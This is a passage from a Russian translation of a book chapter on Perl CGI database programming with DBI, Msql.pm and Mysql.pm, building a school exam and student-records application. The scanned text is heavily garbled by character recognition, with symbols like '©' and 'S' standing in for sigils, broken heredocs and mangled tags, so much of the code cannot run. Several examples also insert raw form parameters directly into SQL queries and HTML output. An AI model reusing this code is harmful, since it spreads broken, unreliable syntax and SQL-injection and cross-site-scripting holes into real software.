my $table_data = $dbh->prepare("select * from Stable");

# Посылаем запрос серверу.

$table_data->execute;

# Если возвращаемое значение не определено, таблица не существует

# или пуста; мы не проверяем, что из двух верно.

if (not $table_data) {

print header, startjtml( 'title'=>

"Данные по $host => $db => Stable", 'BGCOLOR'=>'white');

prin<<END_OF_HTML;

<H1>$host</h1>

<H2>$db</h2>

Таблицы'Stable' нет в $db на $host.

</body></html>

END_OF_HTML

exit(0); }

# Теперь мы знаем, что есть данные для выдачи. Сначала выведем

# структуру таблицы.

print header, start_html( title'=>"Данные по $host => $db => $table",

'BGCOLOR'=>'white');

print <<END_OF_HTML; <H1>$host</h1> <H2>$db</h2> <H3>$table</h3>

<P>

<TABLE BOROER> <CAPTION>Пoля</caption> <TR>

<ТН>Поле<ТН>Тип<ТН>Размер<ТН>МОТ NULL </tr> <UL> END_OF_HTML

If $table_data->name возвращает ссылку

# на массив полей таблицы.

my ©fields = @{$table_data->NAME};

# $table_data->type возвращает ссылку на массив типов полей.

# Возвращаемые типы имеют стандартные обозначения SQL,

# а не специфические для MySQL.

my @types = @{$table_data->TYPE};

# $table_data->is_not_null возвращает ссылку на массив типа Boolean,

# указывающий, в каких полях установлен флат 'NOT NULL'.

my @>not_null = @{$table_data->is_not_null};

# $table_data->length возвращает ссылку на массив длин полей. Они

фиксированные

# для типов INT и REAL, но переменые (заданные при создании

# таблицы) для CHAR.

my @length = @{$table_data->length};

# Все перечисленные выше массивы возвращаются в одном и том же порядке,

# поэтому $fields[0], $types[0], $ndt_null[0] and $length[0] относятся к одному полю.

foreach $field (0..$#fields) {

print "<TR>\n";

print "<TD>$fields[$field]<TD>$types[$field]<TD>";

print $length[$field]

if $types[$field] eq 'SQL_CHAR';

print "<TD>";

print 'Y' if ($not_null[$field]);

print "</tr>\n"; }

print <<END_OF_HTML; </table>

<P>

<B>Data</b><br>

<OL>

END_OF_HTML

# Теперь мы будем построчно перемещаться по данным с помощью DBI::fetchrow_array().

# Мы сохраним данные в массиве в таком же порядке, как и в информационных

# массивах (§fields, @types, etc,), которые мы создали раньше.

while(my(@data)=$table_data->fetchrow_array) {

print "<LI>\n<UL>";

for (0..$#data) {

print "<LI>$fields[$_] => $data[$_]</li>\n"; }

print "</ulx/li>"; }

print «END_OF_HTML;

</ol>

</body></html>

END_OF_HTML

Пример приложения, использующего DBI

DBI допускает любые SQL-запросы, поддерживаемые MySQL и mSQL. Например, рассмотрим базу данных, используемую в школе для ведения учета учащихся, состава классов, результатов экзаменов и т. д. База данных должна содержать несколько таблиц: одну для данных о предметах, другую для данных об учащихся, таблицу для списка экзаменов и по одной таблице для каждого экзамена. Возможность MySQL и mSQL выбирать данные из нескольких таблиц, используя объединение таблиц, позволяет совместно использовать таблицы как согласованное целое для создания приложения, облегчающего работу учителя.

Для начала мы хотим учесть данные об экзаменах по разным предметам. Для этого нам нужна таблица, содержащая названия и числовые идентификаторы для экзаменов. Нам потребуется также отдельная таблица для каждого экзамена. В этой таблице будут содержаться результаты испытаний для всех учащихся, а также высший балл для проведения сравнения. Таблица test имеет следующую структуру:

CREATE TABLE test (

id INT NOT NULL AUTO_INCREMENT, name CHAR(100),

subject INT, num INT

Для каждого отдельного экзамена структура таблицы такая:

CREATE TABLE t7 (

id INT NOT NULL,

q1 INT,

q2 INT,

q3 INT,

q4 INT,

total INT

)

К имени таблицы t присоединен идентификатор экзамена из таблицы test. При создании таблицы пользователь определяет количество вопросов. Поле total содержит сумму баллов по всем вопросам.

Программа, обрабатывающая данные экзаменов, называется test.cgi. Эта программа, текст которой следует ниже, позволяет только добавлять новые экзамены. Просмотр экзаменов и их изменение не реализованы и оставлены в качестве упражнения. Дополнить этот сценарий будет несложной задачей, если воспользоваться в качестве справочного материала другими сценариями, приведенными в данной главе. Этот сценарий хорошо показывает возможности DBI:

#!/usr/bin/perl -w

use strict; require my_end;

use CGI qw(:standard);

my Soutput = new CGI;

use_named_parameters(1);

# Использовать модуль DBI. use DBI;

# DBI::connect() использует формат 'DBI:driver:database', в нашем случае

# используется драйвер MySQL и открывается база данных 'teach',

my $dbh = DBI->connect('DBI:mysql:teach');

# Операция добавления распределена между тремя отдельными функциями. Первая функция, add,

# выводит пользователю форму шаблона для создания нового экзамена,

sub add {

$subject = param('subject')

if (param('subjects'));

$subject = ""

if $subject eq 'all';

print header, start_html('title'=>'Create a New Test',

'BGCOLOR'=>'white'); print <<END_OF_HTML;

<Н1>Создание нового экзамена</п1> <FORM ACTION="test.cgi" METHOD=POST>

<INPUT TYPE=HIDDEN NAME="action" VALUE="add2"> Предмет: END_OF_HTML

my @ids = (); my %subjects = ();

my $out2 = $dbh->prepare("select id,name from subject order by name" $out2->execute;

# DBI: :fetchrow_array() совершенно аналогична Msql: :fetchrow()

while(my($id,$subject)=$out2->fetchrow_array) {

push(@ids,Sid); $subjects{"$id"} = Ssubject; }

print popup_menu('name'=>'subjects', 'values'=>[@ids], 'default'=>$subject, 'labels'=>\%subjects);

print <<END_OF_HTML; <br>

Число вопросов: <INPUT NAME="num" SIZE=5><br> Название или идентификатор (например, дата) экзамена:

<INPUT NAME="name" SIZE=20>

<Р>

<INPUT TYPE=SUBMIT VALUE=" Следующая страница ">

<INPUT TYPE=RESET> </form></body></html>

END_OF_HTML }

Эта функция выводит форму, позволяющую пользователю выбрать предмет для экзамена, а также количество вопросов и название. Для вывода списка имеющихся предметов выполняется запрос к таблице предметов. При выполнении в DBI запроса SELECT он должен быть сначала подготовлен, а затем выполнен. Функция DBI::prepare полезна при работе с некоторыми серверами баз данных, позволяющими осуществить операции над подготовленными запросами, прежде чем выполнить их. Для MySQL и mSQL это означает лишь запоминание запроса до вызова функции DBI:: execute .

Результаты работы этой функции посылаются функции add2, как по-: казано ниже:

sub add2 {

my Ssubject = param('subjects');

[

my $num = param('num');

$name = param('name') if param('name');

my $out = $dbl»prepare("select name from subject where id=$subject");

$out->execute;

my (Ssubname) = $out->fetchrow_a.rray;

print header, start_html('title'=>"Создание экзамена по предмету $subname", ' BGCOLOR'=>'white');

print <<END_OF_HTML;

<H1> Создание экзамена по предмету $subname</h1> <h2>$name</h2>

<P>

<FORM ACTION="test.cgi" METHOD=POST>

<INPUT TYPE=HIDDEN NAME="action" VALUE="add3">

<INPUT TYPE=HIDDEN NAME="subjects" VALUE="$subject">

<INPUT TYPE=HIDOEN NAME="num" VALUE="$num">

<INPUT TYPE=HIDDEN NAME="name" VALUE="$name">

Введите количество баллов за каждый правильный ответ.

Сумма баллов не обязательно должна равняться 100.

<Р> END_OF_HTML

for (1..$num) {

print qq%$_: <INPUT NAME="q$_" SIZE=3> %; if (not.$_ % 5)

{ print "<br>\n"; } } print <<END_OF_HTML;

<P>

Введите текст экзамена:<br>

<TEXTAREA NAME="test" ROWS=20 COLS=60> </textarea> <p>

<INPUT TYPE=SUBMIT VALUE="Ввести экзамен ">

<INPUT TYPE=RESET> </form></body></html>

END_OF_HTML }

Эта функция динамически генерирует форму для экзамена, основываясь на параметрах, введенных в предыдущей форме. Пользователь может ввести количество баллов для каждого вопроса экзамена и полный текст самого экзамена. Выходные данные этой функции посылаются завершающей функции add3, как показано ниже:

sub add3 {

my $subject = para'm( 'subjects');

my $num = param('num');

$name = param('name') if param('name');

my $qname;

($qname = $name) =" s/'/\\'/g;

my $q1 = "insert into test (id, name, subject, num) values ( '.'-, '$qname', $subject, $num)";

my Sin = $dbh->prepare($q1); $in->execute;

# Извлечем значение ID , которое MySQL создал для нас

my $id = $in->insertid;

my $query = "create table t$id ( id INT NOT NULL,

my $def = "insert into t$id values ( 0, ";

my $total = 0;

my @qs = grep(/^q\d+$/,param);

foreach (@qs) {

$query .= $_ . " INT,\n";

my $value = 0;

$value = param($_) if param($_);

$def .= "lvalue, ";

$total += $value; }

$query .= "total INT\n)"; $def .=-"$total)";

my $in2 = $dbh->prepare($query);

$in2->execute;

my $in3 = $dbh->prepare($def);

$in3->execute;

# Обратите внимание, что мы запоминаем экзамены в отдельных файлах. Это

# полезно при работе с mSQL, поскольку он не поддерживает BLOB.

# (Тип TEXT, поддерживаемый в mSQL 2, можно использовать,

# но это неэффективно.)

# Поскольку мы используем MySQL, можно с таким же успехом

# поместить весь экзамен в BLOB.

open(TEST,">teach/tests/$id") or die("A: $id $!");

print TEST param('test'), "\n";

close TEST;

print header, start_html('title'=>'Экзамен создан', 'BGCOLOR'=>'white');

print <<END_OF_HTML;

<Н1>Экзамен создан</h1> <P>

Экзамен создан.

<р>

<А HREF=".">Перейти</а> на домашнюю страницу 'В помощь учителю'.<br>

<А HREF="test.cgi">nepeimi</a> на главную страницу экзаменов.<br>

<А HREF="test.cgi?actio,n=add">Добавить</a> следующий экзамен.

</body></html>

END_OF_HTML

}

Теперь введем информацию об экзамене в базу данных. При этом мы шагнем дальше обычного ввода данных, который видели до сих пор. Данные по экзаменам достаточно сложны, поэтому каждый экзамен лучше хранить в собственной таблице. Вместо добавления данных в существующую таблицу мы создадим совершенно новую таблицу для каждого экзамена. Сначала мы создадим ID для нового экзамена с помощью функции автоинкрементирования MySQL и введем название и ID экзамена в таблицу с именем test. Эта таблица является просто указателем на экзамены, по ней можно легко найти ID любого экзамена. Затем мы создадим одновременно два запроса. Первый будет запросом CREATE TABLE, который определит наш новый экзамен. Второй запрос будет иметь тип INSERT и запишет в нашу таблицу максимальные баллы по каждому вопросу. Эти запросы будут отправлены серверу базы данных, что завершит весь процесс (после вывода пользователю страницы с сообщением об успешном завершении). Позднее, после сдачи экзамена учащимися, для каждого учащегося будет создана запись в таблице экзамена. Эти записи могут быть сравнены с максимальными значениями для определения оценки учащегося.

Msql.pm

Модуль Msql.pm является изначальным интерфейсом Perl к mSQL. Хотя его заменили модули DBI, все же осталось много сайтов, основанных на этом старом интерфейсе. Чтобы продемонстрировать использование Msql.pm, мы продолжим работу с нашим примером «помощника учителя».

Поскольку нам требуется определить школьные классы, в которых будут проводиться экзамены, рассмотрим таблицу предметов. Ее структура выглядит так:

CREATE TABLE subject (

id INT NOT NULL,

name CHAR(500),

teacher CHAR(100) )

CREATE UNIQUE INDEX idxl ON subject (

id,

name,

teacher

)

CREATE SEQUENCE ON subject

Число id является уникальным идентификатором школьного класса, а поля name и teacher являются наименованием курса и фамилией преподавателя соответственно. Все три поля проиндексированы, что ускоряет выполнение запросов. И наконец, мы определили последовательность для таблицы. Эта последовательность генерирует ID.

CGI-программа для обработки этих данных должна выполнять несколько функций:

  • Находить предмет в базе данных.
  • Выводить найденный предмет.
  • Добавлять в базу данных новый предмет.
  • Изменять параметры предмета в базе данных.

Используя мощь Perl и mSQL, можно без труда объединить все эти функции в одном файле, subject.cgi. Для каждой из операций мы создадим свою функцию. Центральной частью программы будет своего рода коммутатор, распределяющий поступающие запросы по соответствующим функциям. Сами операции мы опишем позднее.

#Выбор нужной части сценария осуществляется в зависимости

# от параметра 'action'.

# Если 'action' не задан, вызывается функция defaultQ.

&default if not param('action');

# Этот прием из Camel 2 имитирует переключатель 'switch' в языке С. foreach[A04] (param('action')) {

/view/ and do { Sview; last; };

/add$/ and do { &add; last; };

/add2/ and do { Sadd2; last; };

/add3/ and do { &add3; last; };

/add4/ and do { &add4; last; };

/schange$/ and do { &schange; last; };

/schange2/ and do { &schange2; last; };

/lchange$/ and do { &lchange; last; };

/Ichange2/ and do { &lchange2; last; };

/IchangeS/ and do { &lchange3; last; };

/delete/ and do { Sdelete; last; };

&default; }

Пункты «add», «schange» и «Ichange» должны иметь завершающий «$», чтобы не быть спутанными со сходными. Если бы не было «$», то «add» соответствовал бы также add2, add3 и add4. Альтернативный прием - поместить «add», «schange» и «Ichange» после всех остальных функций, чтобы вызываться при отсутствии совпадений с предыдущими пунктами. Однако если впоследствии добавятся другие пункты, могут возникнуть ошибки. Третий способ - полностью устранить неоднозначность, используя /^view$/, /*add$/ и т. д. При этом придется ввести несколько больше символов, но возможность ошибки будет полностью устранена.

Остается лишь проработать детали, реализовав каждую функцию.

Функция default выводит исходную форму, которую видит пользователь, позволяющую ему выбрать тип операции. Эта функция вызывается, если CGI-программа вызывается без параметров, например, как http://www.myserver.com/teach/subject.cgi , или если параметр ACTION не соответствует ни одной из существующих функций. Можно было бы также создать функцию, выводящую сообщение об ошибке, если параметр ACTION неизвестен.

sub default {

print header, start_html('title'=>'Subjects', 'BGCOLOR'=>'white'):

print «END_OF_HTML; <h1>Предметы</h1>

<р>Выберите операцию и предмет (если это допустимо).

<FORM ACTION="subject.cgi" METHOD=POST>

<p>

<SELECT NAME="action">

<OPTION VALUE="view">npocмотp предмета

<OPTION VALUE="аdd">Добавление предмета

<OPTION VALUE="schange">Изменение предмета

<OPTION VALUE="lchange" SELECTED>Изменить список классов

<OPTION VALUE="delete">Удалить предмет </select>

END_OF_HTML

# См. ниже 'sub print_subjects'.

&print_subjects;

print «END_OF_HTML;

<P>

<INPUT TYPE=SUBMIT VALUE="Выполнить операцию">

<INPUT TYPE=RESET>

</form></body></html>

HTML

}

Основных операций пять: «view» (просмотр), «add» (добавление), «schange» (изменение данных о предмете), «Ichange» (изменить список классов по предмету) и «delete» (удалить). Например, мы подробно рассмотрим операцию «add». Она разбита на четыре отдельные функции, потому что диалог с пользователем приходится проводить до четырех раз. Для передачи данных от одной формы к другой используются скрытые переменные, пока, в конце концов, не будет создан класс.

Первая функция порождает форму для ввода начальных сведений о классе, в том числе его названия, имени учителя и количества учащихся.

sub add {

my (%fields);

foreach ('name','size','teacher') {

if (param($_)) { $fields{$_} = param($_); } else { $fields{$_} = ""; } }

print header, start_html('title'=>'Add a Subject','BGCOLOR'=>'white');

print «END_OF_HTML; <H1>Add a Subject</h1> <form METHOD=POST ACTION="subject.cgi"> <P>

Название предмета:

<input size=40 name="name" value="$fields{'name'}"><br>

Фамилия учителя:

<input size=40 name="teacher" value="$fields{'teacher'}"><br>

Число учащихся в классе:

<input size=5 name="size" value="$fields{'size'}">

<P>

<INPUT TYPE=HIDDEN NAME="action" VALUE="add2">

<INPUT TYPE=SUBMIT VALUE="Следующая страница ">

<INPUT TYPE=RESET>

</form>

<P>

<A HREF="subject.cgi">Перейти</a> назад к главной странице предметов.<br>

<А HREF=". ">Перейти</а> к домашней странице Помощи учителю.

</body></html>

END_OF_HTHL

}

Функция проверяет, не имеют ли какие-либо поля предустановленные значения. Это придает функции дополнительную гибкость, позволяя использовать ее как шаблон для классов со значениями по умолчанию, возможно, генерируемыми какой-либо другой CGI-программой.

Значения, полученные в первой части процесса добавления, передаются обратно CGI-программе для использования в функции add2. Функция add2 сначала проверяет, существует ли уже класс. Если существует, то пользователю посылается сообщение об ошибке, и он может изменить название класса.

Если класс еще не существует, функция проверяет, какое число учащихся введено. Если никакое, то класс создается без учащихся, их можно добавить позднее. Если нее число задано, создается класс и выводится форма, в которую можно ввести данные о каждом учащемся.

sub add2 {

my $name = param('name');

# Нам нужна копия имени, которая кодируется для URL.

my $enc_name = &cgi_encode($name);

# Нам также нужна копия имени, которую можно спокойно цитировать для

# ввода в базу. Msql использует с этой целью функцию Msql::quote().

my $query_name = $dbh->quote($name);

# Строим запрос для проверки существования предмета,

my $query ="select id, name, teacher from subject where name=$query_name";

#Если пользователь ввел фамилию учителя, отдельно проверяем фамилию,

# поскольку могут быть два курса с одинаковым названием, но

# разными учителями.

if (param('teacher')) {

$teacher = param('teacher');

$enc_teacher = &cgi_encode($teacher);

my $query_teacher = $dbh->quote($teacher);

$query .= " and teacher=$query_teacher"; }

# Теперь посылаем запрос серверу mSQL

my $out = $dbh->query($query);

ft Проверяем значение $out->numrows, чтобы узнать, были ли возвращены

# какие-либо строки. Если были, и пользователь не задал параметр 'override'

# (переопределить), то мы выходим с сообщением, что класс уже

# существует, и давая пользователю возможность все-таки ввести класс

# (повторно передав форму с установленным параметром 'override',

if ($out->numrows and not param('override')) { # Печать страницы 'Класс уже существует'.

} else {

# Теперь вводим данные в базу.

# Сначала нужно выбрать новое число из

# последовательности для таблицы.

$out = $dbh->query("select _seq from subject");

my ($id) = $out->fetchrow;

# Теперь вводим информацию в базу данных, используя

# полученное из последовательности число в качестве ID.

$query = "INSERT INTO subject (id, name, teacher)

VALUES ($id, '$name', 'Steacher')"; $dbh->query($query);

# Если пользователь не задал размер класса, выходим

# с сообщением о том, что пользователь может добавить

# число учащихся позже, if (not param('size')) {

# Вывод страницы с сообщением об успехе.

} else { \

# Теперь выводим форму, позволяющую пользователю

# ввести имена всех учащихся в классе.

print header, start_html('title'=>'Create Class List',

'BGCOLOR'=>'white'); print <<END_OF_HTML;

<Н1>Создать список класса</h1> <P>

<B>$name</b>

добавлен в базу данных. Теперь можно ввести фамилии учащихся в этом классе. Добавить или исключить учащихся можно позднее с главной страницы предметов

<а href="subject.cgi"> </a>.

<Р>

<FORM METHOD=POST ACTION="subject.cgi">

<INPUT TYPE=HIDDEN NAME="action" VALUE="add3">

<INPUT TYPE=HIDDEN NAME="id" VALUE="$id">

<TABLE BORDER=0>

<ТР><ТН><ТН>Имя<ТН>Отчество/Инициал

<ТН>Фамилия<ТН>мл.,ст.,III,и т.д.

</tr>

END_OF_'HTML

for $i (1.,$size) {

print <<END_OF_HTML;

<TR><TD>$i<TD><INPUT SIZE=15 NAME="first$i"><TD>

<lNPUT SIZE=15 NAME="middle$i">

<TD><INPUT SIZE=15 NAME="last$i"><TD>

<INPUT SIZE=5 NAME="ext$i"></tr>

END_OF_HTML

}

print <<END_OF_HTML; </table>

<INPUT TYPE=SUBMIT VALUE=" Ввести список класса ">

<INPUT TYPE=RESET> </form>

</body></html>

END_OF_HTML

} } }

Обратите внимание, что функция использовала три копии параметра name. Для использования в составе URL все специальные символы должны быть заменены особым образом. Для этого в коде примера используется функция cgi_encode . Кроме того, чтобы ввести строку в базу данных mSQL, вместо некоторых символов нужно использовать управляющие символы. Интерфейс MsqlPerl предоставляет для этого функцию quote, доступную через любой описатель базы данных. Наконец, при выводе на экран используется непреобразованный вариант переменной.

При добавлении класса в базу данных удобно использовать такую функцию mSQL, как последовательности. Вспомним, что в таблице class была определена последовательность. Ее значения используются в качестве уникального идентификатора для каждого класса. Благодаря этому два класса могут иметь одинаковые названия (или одного и того же учителя и т. д.) и все же быть различными. Это также окажется удобным при дальнейших изменениях в классе. Пока между формами передается уникальный ID, все прочие данные о классе можно свободно изменять.

Наконец, отметим, что выводимая этой функцией форма для ввода учащихся генерируется динамически. Для вывода формы с правильным числом записей используется введенное раньше число учащихся. Помните, что CGI-программа полностью управляет генерируемым HTML. Любая часть, включая формы, может быть создана программным образом.

Если пользователь не ввел никаких учащихся, то работа на этом закончена. Позднее для добавления учащихся можно воспользоваться функцией модификации. Однако если требуется ввести учащихся, данные о них передаются функции add3, как показано ниже:

sub add3 {

if (not param('id')) { &end("Требуется числовой ID"); }

my $id = param( 'id');

my ©list = &find_last_student;

my ($ref_students,$ref_notstudents) = &find_matching_students(@list);

@students = @$ref_students

if $ref_students;

@notstudents = @$ref_notstudents

if $ref_notstudents;

if (@notstudents) {

# Вывести форму, говорящую пользователю, что в списке

# есть несуществующие учащиеся. Пользователь может автоматически

# создать учащихся или вернуться и исправить опечатки.

} else {

&update_students($id,@students);

#Вывести форму успешного завершения работы.

} }

В этой функции основная часть работы выполняется другими функциями. Это обусловлено тем, что в других частях CGI-программы возникают сходные задачи, которые полезно решать с помощью совместно используемых функций. Первая такая функция - f ind_last_student , которая изучает данные формы и возвращает список имеющихся в форме номеров, не связанных с ID в базе данных, всех введенных пользователем учащихся. Это необходимо, поскольку, как упоминалось раньше, предыдущая форма генерируется динамически и нет возможности непосредственно узнать, сколько учащихся включено.

sub find_last_student {

my @params = param; my @list = (); foreach (@params) {

next if not param($_);

# Исключить все 'пустые' поля

if (/-(first|middle|last|ext)(\d+)/) {

my $num = $2;

if (not grep(/"$num$/,@list)) { push(@list,$num); } } }

@list = sort { $a <=> $b} @list; return @list;

}

Обратите внимание, что функция возвращает все числа, а не только последнее, которое, предположительно, будет числом введенных учащихся. Хотя предыдущая форма вывела число запрошенных пользователем записей, нет гарантии, что пользователь заполнил их все. Он мог пропустить строку, которая не будет включена в данные формы. Поэтому необходимо выявить все введенные числа. Результаты работы этой функции пересылаются следующей вспомогательной функции find_matching_students , как показано ниже:

sub find_matching_students { my §list = @_;

my ($i,@students,@notstudents); §students = ();

@notstudents = ();

if (@list) {

foreach $i (@list) {

my @query = ();

# Строим запрос, который ищет заданного учащегося,

my $query = "select id, subjects from student where ";

foreach ('first','middle','last', 'ext') {

if (param("$_$i")) {

my $temp = param("$_$i");

# В mSQL и MySQL одиночные кавычки служат ограничителями

# имен полей, и им должен предшествовать

# управляющий символ "\",

# который управляет и сам собой,

# чтобы быть введенным буквально.

$temp =~ s/7\\'/g;

push(@query, "$_ = '$temp'"); } }

$query = join(" and ",§query);

# Посылаем запрос базе данных.

my $out = $dbh->query($query);

# Если база данных ничего не возвращает, добавляем

# учащегося к массиву @notstudents.

if (not $out->numrows) {

push(@notstudents, [ param("first$i"), param("middle$i"), param("last$i"), param("ext$i") ]);

# В противном случае добавляем студента в массив ©students.

} else {

my ($id,$subjects) = $out->fetchrow;

push(@students,[$id,$subjects]); } } }

return(\§students,\@notstudents); }

Эта функция пробегает по всем заданным именам учащихся и проверяет, есть ли уже они в базе данных. Если они существуют, данные о них записываются в массив с именем ©students , в противном случае - в массив @notstudents . Данные о каждом учащемся хранятся в безымянном массиве, создавая своего рода объект учащегося. В итоге функция возвращает ссылки на оба массива. Она не может возвратить данные как обычный массив, поскольку будет невозможно определить, где закончился один массив и начался другой.

И последняя вспомогательная функция - update_students , которая добавляет класс к списку классов для каждого существующего учащегося.

sub update_students {

my $id = shift;

my ©students = @_;

foreach (©students) {

my($sid, $subjects)=©$_;

if (not Ssubjects) { Ssubjects = ":$id:"; }

elsif (Ssubjects !" /:$id:/)

{ Ssubjects .= "$id:"; }

my $query = "update sti/dent set subjects='Ssubjects'

where id=$id";

$dbh->query($query); } }

Эта функция осуществляет запрос к таблице student, совершенно независимой от таблицы subject. В пределах одной CGI-программы можно работать с любым числом различных таблиц одной базы данных. Можно переключаться с одной базы данных на другую, но одновременно может быть активна только одна база данных. Эта функция извлекает список предметов для каждого учащегося и добавляет к нему новый предмет, если его еще нет в списке.

Функция обрабатывает все возможные случаи, кроме одного, когда к предмету приписаны учащиеся, которых еще нет в таблице student. В этом случае список новых учащихся передается функции add4, как показано ниже:

sub add4 {

#получить список ©students и @notstudents

&update_students($id,@students) if @students;

&insert_students($id,@notstudents) if @notstudents;

# Вывести страницу успешного завершения. }

Эта функция разделяет список учащихся на существующих и несуществующих тем же способом, что и add3. Затем она обновляет список существующих учащихся с помощью функции update_students , показанной раньше. Несуществующие учащиеся посылаются новой вспомогательной функции insert_students :

sub insert_students { foreach $i (@list) {

# Производится выбор очередного числа из последовательности,

# определенной в таблице. Зто число используется как ID учащегося,

my $out = $dbh->query('select _seq from student');

my($sid) = $out->fetchrow;

# Для включения в базу данных все строки

# нужно процитировать.

my ($first, $middle, $last, $ext) = (

$dbh->quote(param("first$i")),

$dbh->quote(param("middle$i")),

$dbh->quote(param("last$i")),

$dbh->quote(param("ext$i")) );

my $query = "insert into student (id, first, middle, last,

ext, subjects) VALUES ($sid, $first, $middle,

$last, $ext, ':$id:')";

$dbh->query($query); } }

И эта функция обращается к таблице student, а не subject. Из последовательности, определенной в таблице student, извлекаются ID для новых учащихся, затем учащиеся вводятся в таблицу с этими ID.

MysqIPerl

Монти Видениус, автор MySQL, написал также и интерфейс Perl к MySQL, Mysql.pm. Он основывался на модуле Msql.pm для mSQL, поэтому интерфейсы двух модулей почти идентичны. На практике мы недавно преобразовали целый сайт из mSQL в MySQL, выполнив команду «perl -e 's/^Msql/Mysql/>> *.cgi» в каждом каталоге, содержащем CGI. Это составило 95% всей работы. Разумеется, при этом вы не получаете преимуществ MySQL, но таким путем можно быстро и легко встать на путь использования MySQL. Mysql.pm входит составной частью в пакет msql-mysql-modules Йохена Видмана (Jochen Wiedmann).

Одним из самых больших различий между MySQL и mSQL является их работа с последовательностями. В mSQL последовательность определяется в таблице командой CREATE SEQUENCE on tablename . Значение последовательности можно получать после этого, как обычное поле таблицы командой SELECT _se.q from tablename . В MySQL к первичному ключу добавляется флаг AU-TO_INCREMENT . При попытке ввода null в это поле оно автоматически инкрементируется. Как MySQL, так и mSQL допускают в каждой таблице только одну последовательность. Подробное обсуждение последовательностей в MySQL и mSQL см. в главе 6 «Диалект SQL, используемый в MySQL и mSQL».

Чтобы показать некоторые функции Mysql.pm, вернемся к примеру с экзаменами. Разобравшись с subject.cgi, займемся таблицей сведений об учащихся. Ее структура такова:

CREATE TABLE student (

id INT NOT NULL auto_increment,

first VARCHAR(50),

middle VARCHAR(50),

last VARCHAR(50),

ext VARCHAR(50),

subjects VARCHAR(100),

age INT,

sex INT,

address BLOB,

city VARCHAR(50),

state VARCHAR(5),

zip VARCHAR(10),

phone VARCHAR(10),

PRIMARY KEY (id)

)

В этой таблице находятся все данные, используемые программой subject, cgi, a также другие сведения, которые относятся к учащемуся. Программа student.cgi, работающая с этой таблицей, должна выполнять все те функции, которые программа subject.cgi выполняла в отношении таблицы subject.

Нельзя работать с базой данных mSQL через модуль Mysql.pm, как и с базой MySQL через Msql.pm. Программа stu-dent.cgi предполагает, что таблица предметов находится в базе данных MySQL. Аналогично, программа subject.cgi рассчитывает на mSQL-версию таблицы учащихся.

Чтобы продемонстрировать, как работает Mysql.pm, мы подробно изучим ту часть student.cgi, которая позволяет пользователю изменять сведения об учащемся. Так же как операция «add» (добавление) в примере для Msql.pm была разбита на четыре отдельные функции, операция «change» (изменение) разбита здесь на три отдельные функции.

Первая функция - изменения, выводит форму, позволяющую пользователю найти учащегося, данные о котором нужно изменить:

sub change {

print header, start_html('title'=>'Поиск учащегося для изменения денных'

'BGCOLOR'=>'white');

&print_form('search2', Поиск учащегося для изменения данных',1);

print <<END_OF_HTML; <р>

<INPUT TYPE=HIDDEN NAME="subaction" VALUE="change2">

<INPUT TYPE=SUBMIT VALUE=" Искать учащегося ">

<INPUT TYPE=SUBMIT NAME="all" VALUE=" Просмотр всех учащихся ">

<INPUT TYPE=RESET>

</form></body></html>

END_OF_HTML }

Форма, используемая для поиска учащегося с целью изменения, настолько сходна с формами для просмотра данных и для добавления, что во всех трех случаях используется одна функция, print_form , показанная ниже:

sub print_form {

my ($action,$message,$any) = @_;

print <<END_OF_HTML;

<FORM METHOD=post ACTION="students.cgi">

<INPUT TYPE=HIDDEN NAME="action" VALUE="$action">

<H1>$message</h1>

END_OF_HTML

if ($any) {

print <<END_OF_HTML; <р>Поиск

<SELECT NAME="bool">

<OPTION VALUE="ог">любой

<OPTION VALUE="and">Bce </select> выбранные вами.

END_OF_HTML

У

print <<END_OF_HTML; <P>

Имя:

<INPUT NAME="first" SIZE=20>

Отчество:

<INPUT NAME="middle" SIZE=10>

Фамилия:

<INPUT NAME="last" SIZE=20>

МЛ./III/И т.д..:

<INPUT NAME="ext" SIZE=5> <br>

Адрес:

<INPUT NAME="address" SIZE=40><br>

Город:

<INPUT NAME="city" SIZE=20>

Штат:

<INPUT NAME="state" SIZE=5>

Почтовый индекс:

<INPUT NAME="zip" SIZE=10><br>

Телефон:

<INPUT NAME="phone" SIZE=15><br>

Возраст:

<INPUT NAME="age" SIZE=5>

Пол:

<SELECT NAME="sex">

END_OF_HTML

if ($any) {

print <<END_OF_HTML; <OPTION VALUE="">He имеет значения

END_OF_HTML

}

print <<END_OF_HTML;

<OPTION VALUE="1">Myжской

<OPTION VALUE="2">Женский

</select><br>

<P>

Записан на:<br>

END_OF_HTML

&print_subjects("MULTIPLE SIZE=5");

}

Благодаря использованию трех параметров эта функция настраивает шаблон формы так, что может использоваться в самых различных целях. Обратите внимание, что эта вспомогательная функция использует другую вспомогательную функцию, print_subjects . Последняя выводит список всех имеющихся предметов из таблицы subject, как в примере Msql.pm.

sub print_subjects { my $modifier = "";

$modifier = shift if @_;

print qq%<SELECT NAME="subjects" $modifier>\n%;

my $out = $dbh->query("select * from subject order by name");

while(my(%keys)=$out->fetchhash) {

print qq%<OPTION VALUE="$keys{'id'}">$keys{'name'}\n%;

}

print "</select>\n";

}

Параметры поиска, введенные в первую форму, передаются функции search2, фактически осуществляющей поиск. На самом деле это функция, написанная для поиска учащегося, данные о котором нужно показать. Поскольку она делает как раз то, что нам требуется, мы можем ею воспользоваться, если сообщим ей, что после поиска хотим перейти

к следующей функции изменения, change2. Для этого мы ввели в форму скрытую переменную subaction=change2 . Она сообщает search2, куда отправить пользователя дальше:

sub search2 {

my $out = $dbh->query(&make_search_query);

my $hits = $out->numrows;

my $subaction = "view";

$subaction = param('subaction')

if param('subaction');

print header, start_html('title'=>'Результаты поиска учащихся', 'BGCOLOR'=>'white');

if (not Shits) {

print <<END_OF_HTML;

<Н1>Учащихся не найдено</h1>

<P>

He найдено учащихся, удовлетворяющих вашему критерию.

END_OF_HTML } else {

print <<END_OF_HTML;

<H1> Найдено $hits учащихся </h1> <р>

<UL>

END_OF_HTML

while(my(%fields)=$out->fetchhash) {

print qq%<LI>

<A HREF="students.cgi?action=$subaction&id=$fields

{'id'}">$fields{'first'} $fields{'middle'} $fields{'last'}%;

print ", $fields{'ext'}" if $fields{'ext'};

print "\n</a>"; } }

print <<END_OF_HTML; </ul> <p>

<A HREF="students.cgi?action=search">HcKaTb</a> снова.

</body></html>

END_OF_HTML }

С помощью функции make_search_query эта функция сначала ищет учащихся, отвечающих критериям поиска. Затем она выводит список найденных записей, среди которых пользователь может сделать выбор. ID выбранной записи передается функции change2, как показано ниже:

sub change2 {

my $out = $dbh->query

("select * from student where id=$id");

my($did,Ifirst,$middle,$last,

$ext,Ssubjects.Sage,$sex,$address,

$city,$state,$zip,$phone) = $out->fetch row;

my ©subjects = split(/:/,$subjects);

